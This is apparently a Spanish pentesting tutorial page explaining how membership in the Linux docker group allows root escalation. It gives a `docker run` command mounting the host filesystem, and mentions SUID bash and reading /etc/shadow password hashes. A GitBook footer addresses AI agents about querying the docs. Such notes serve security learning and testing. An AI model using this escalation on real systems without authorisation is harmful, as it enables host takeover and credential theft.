> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/user-groups/docker-group-linux-privilege-escalation.md).

# Abuso del grupo docker - Escalada de privilegios en Linux

## Qué es

Las membresías peligrosas en grupos locales pueden exponer recursos privilegiados sin requerir un exploit del kernel. Grupos como docker, lxd, adm o proxy pueden otorgar control del host, acceso a registros sensibles o rutas de configuración útiles para el movimiento lateral y la escalada a root. Esta página específica se centra en **Grupo de usuarios (Docker)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
id
groups
```

## Ejemplos

> En Docker, el acceso a los recursos del sistema se gestiona de forma diferente a como lo hace un sistema operativo tradicional como Linux. Docker utiliza conceptos como imágenes, contenedores y volúmenes para encapsular y ejecutar aplicaciones en aislamiento.

Con el usuario con pocos privilegios **usuario**, podemos **ejecutar comandos de Docker**:

<figure><img src="/files/e323e7cf073efd6b140b362cea6a879e4fc430c5" alt=""><figcaption></figcaption></figure>

Con el siguiente comando, lanzamos un Docker que \*\*guarda root\*\* usuario root:

```bash
docker run --rm -dit -v /:/mnt/root --name privesc ubuntu
```

También podríamos otorgar **permisos SUID** a Bash:

<figure><img src="/files/52c1ccfb4bdd83b36e8d16b533d1fe5cfeb272f7" alt=""><figcaption></figcaption></figure>

Cuando vamos al **/mnt/etc/shadow** archivo, encontramos las contraseñas hasheadas:

<figure><img src="/files/f953617d402ac47821ef3f4009529608283da49a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/user-groups/docker-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
